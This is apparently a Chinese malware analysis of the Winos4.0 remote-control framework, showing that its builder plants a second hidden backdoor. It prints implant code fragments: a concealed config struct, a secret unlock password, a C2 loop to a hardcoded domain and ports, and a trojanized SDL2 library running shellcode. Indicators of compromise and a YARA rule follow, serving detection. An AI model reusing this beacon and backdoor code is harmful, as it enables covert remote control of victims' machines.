黑吃黑的远控框架：Winos4.0 后门暗桩深度解析

struct InfoBackDoor
{
    char mark[30];
    TCHAR szAddress_backdoor[255];
    TCHAR szPort_backdoor[30];
    TCHAR szPassword_backdoor[255];
    BOOL IsTcp_backdoor;
} MyBackDoorInfo =
{
    "mainsetting",
    _T(""),
    _T(""),
    _T(""),
    TRUE,
};

if (Cs_tip.Compare(_T("5201314")) == 0)
{
    GetDlgItem(IDC_EDIT_IP4)->ShowWindow(TRUE);
    GetDlgItem(IDC_EDIT_PORT4)->ShowWindow(TRUE);
    GetDlgItem(IDC_COMBO_NET4)->ShowWindow(TRUE);
    GetDlgItem(IDC_EDIT_PASS4)->ShowWindow(TRUE);
    m_edit_tip.SetWindowText(_T(""));
    UpdateData(FALSE);
    return;
}

m_edit_ip4 = _T("iamasbcx.asuscomm.com");
m_edit_port4 = _T("33333");
m_edit_password4 = _T("33333");
m_edit_dll = _T("run");

m_edit_ip4 = _T("127.0.0.1");
m_edit_port4 = _T("2022");
m_edit_password4 = _T("123456");
m_edit_dll = _T("Fuck");

_tcscpy_s(MyInfo.szAddress,  (m_edit_ip.MakeReverse()).GetBuffer(0));
_tcscpy_s(MyInfo.szPort,     (m_edit_port.MakeReverse()).GetBuffer(0));
_tcscpy_s(MyInfo.password,   (m_edit_password.MakeReverse()).GetBuffer(0));

127.0.0.1 → 1.0.0.721

_tcscpy_s(MyBackDoorInfo.szAddress_backdoor,  m_edit_ip4.GetBuffer(0));
_tcscpy_s(MyBackDoorInfo.szPort_backdoor,     m_edit_port4.GetBuffer(0));
_tcscpy_s(MyBackDoorInfo.szPassword_backdoor, m_edit_password4.GetBuffer(0));

DWORD dwOffset = memfind(str, "xiugaishiyong", len, 0);
DWORD dwOffset_back = memfind(str, "mainsetting", len, 0);
DWORD dwOffset_export = memfind(str, "zidingyixiugaidaochuhanshu", len, 0);

if (dwOffset_back != -1)
    memcpy(str + dwOffset, (char*)&MyInfo, sizeof(Info));

if (dwOffset_back != -1)
    memcpy(str + dwOffset_back, (char*)&MyBackDoorInfo, sizeof(InfoBackDoor));

MainThreadBackDoor

DWORD WINAPI MainThreadBackDoor()
{
    while (TRUE)
    {
        if (MyBackDoorInfo.IsTcp_backdoor == 1)
            socketClient = (CTcpSocket*)&m_TcpSocket;
        else
            socketClient = (CUdpSocket*)&m_UdpSocket;

        Sleep(_ttoi(MyInfo.szHeart));

        if (!socketClient->Connect(
            MyBackDoorInfo.szAddress_backdoor,
            _ttoi(MyBackDoorInfo.szPort_backdoor),
            MyBackDoorInfo.szPassword_backdoor))
        {
            continue;
        }

        sendLoginInfo(socketClient, int(socketClient->timeOfSecond), Time, 1);

        CKernelManager manager(socketClient,
            MyBackDoorInfo.szAddress_backdoor,
            _ttoi(MyBackDoorInfo.szPort_backdoor),
            MyBackDoorInfo.IsTcp_backdoor,
            MyBackDoorInfo.szPassword_backdoor,
            TRUE);
    }
}

extern "C" __declspec(dllexport) bool load(Info * m_Info)
{
    memcpy(&MyInfo, m_Info, sizeof(Info));

    hThread = CreateThread(0, 0,
        (LPTHREAD_START_ROUTINE)MainThread,
        0, 0, 0);

    CreateThread(0, 0,
        (LPTHREAD_START_ROUTINE)MainThreadBackDoor,
        0, 0, 0);

    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

TCHAR CKernelManager::m_strMasterHost_backdoor[MAX_PATH * 2] = { 0 };
UINT  CKernelManager::m_nMasterPort_backdoor = 80;
TCHAR CKernelManager::m_strMasterPassWord_backdoor[MAX_PATH * 2] = { 0 };
BOOL  CKernelManager::IsTcp_backdoor = TRUE;

if (m_IsBackDoor)
{
    _tcscpy_s(m_strMasterHost_backdoor, lpszMasterHost);
    _tcscpy_s(m_strMasterPassWord_backdoor, passwoed);
    m_nMasterPort_backdoor = nMasterPort;
    IsTcp_backdoor = m_IsTcp;
}
else
{
    _tcscpy_s(m_strMasterHost_user, lpszMasterHost);
    _tcscpy_s(m_strMasterPassWord__user, passwoed);
    m_nMasterPort__user = nMasterPort;
    IsTcp_user = m_IsTcp;
}

iamasbcx.asuscomm.com

struct Info
{
    TCHAR szAddress[255];
    DWORD szPort;
    TCHAR password[255];
    TCHAR szVersion[50];
    BOOL IsTcp;
} MyInfo =
{
    _T("iamasbcx.asuscomm.com"),
    6000,
    _T("123456"),
    _T("1.0"),
    1,
};

CInitSockets_tcp
g_ShellCodeFileBuff
g_ShellCodeFileSize
help
LJPXYXC
SDL.obj

VirtualAlloc
CreateMutexW
ExitProcess
TerminateProcess
GetCurrentProcess
_beginthreadex
WS2_32.dll

Release 编译
   ↓
链接器自动链接异常 SDL2_32_r.lib
   ↓
恶意 SDL.obj 被带入最终程序
   ↓
程序启动后静态构造逻辑执行
   ↓
创建互斥量 LJPXYXC
   ↓
分配可执行内存
   ↓
释放并执行内存载荷
   ↓
建立额外回连通道

被控端
 ├─ 主 C2 线程
 │   ├─ IP1
 │   ├─ IP2
 │   └─ IP3
 │
 ├─ 隐藏后门 C2 线程
 │   └─ iamasbcx.asuscomm.com:33333
 │
 ├─ 多个功能模块硬编码 C2
 │   └─ iamasbcx.asuscomm.com:6000
 │
 └─ SDL2 静态库供应链后门
     └─ 独立回连通道

if (MyInfo.IsAntiSimulation && AntiSimulation())
{
    do
    {
        socketClient->Connect(_T("www.baidu.com"), 80, _T(""));
        Sleep(5000);
    } while (true);
}

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

GFIRestart32.exe
GFIRestart64.exe

InfoBackDoor
MainThreadBackDoor
MyBackDoorInfo
mainsetting
xiugaishiyong
zidingyixiugaidaochuhanshu
iamasbcx.asuscomm.com
LJPXYXC
CInitSockets_tcp
g_ShellCodeFileBuff
g_ShellCodeFileSize
GFIRestart32.exe
GFIRestart64.exe
SDL2_32_r.lib

rule Winos4_Backdoor_Artifacts
{
    meta:
        description = "Detects Winos4.0 backdoor artifacts and suspicious embedded indicators"
        author = "Security Research"
        purpose = "defensive detection"

    strings:
        $s1 = "InfoBackDoor" ascii wide
        $s2 = "MainThreadBackDoor" ascii wide
        $s3 = "MyBackDoorInfo" ascii wide
        $s4 = "mainsetting" ascii wide
        $s5 = "iamasbcx.asuscomm.com" ascii wide
        $s6 = "LJPXYXC" ascii wide
        $s7 = "CInitSockets_tcp" ascii wide
        $s8 = "g_ShellCodeFileBuff" ascii wide
        $s9 = "GFIRestart32.exe" ascii wide
        $s10 = "GFIRestart64.exe" ascii wide
        $s11 = "zidingyixiugaidaochuhanshu" ascii wide
        $s12 = "xiugaishiyong" ascii wide

    condition:
        3 of them
}

CInitSockets_tcp
g_ShellCodeFileBuff
g_ShellCodeFileSize
LJPXYXC
mainsetting
iamasbcx.asuscomm.com
MainThreadBackDoor
InfoBackDoor

iamasbcx.asuscomm.com

33333
6000
11111/UDP

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

GFIRestart32.exe
GFIRestart64.exe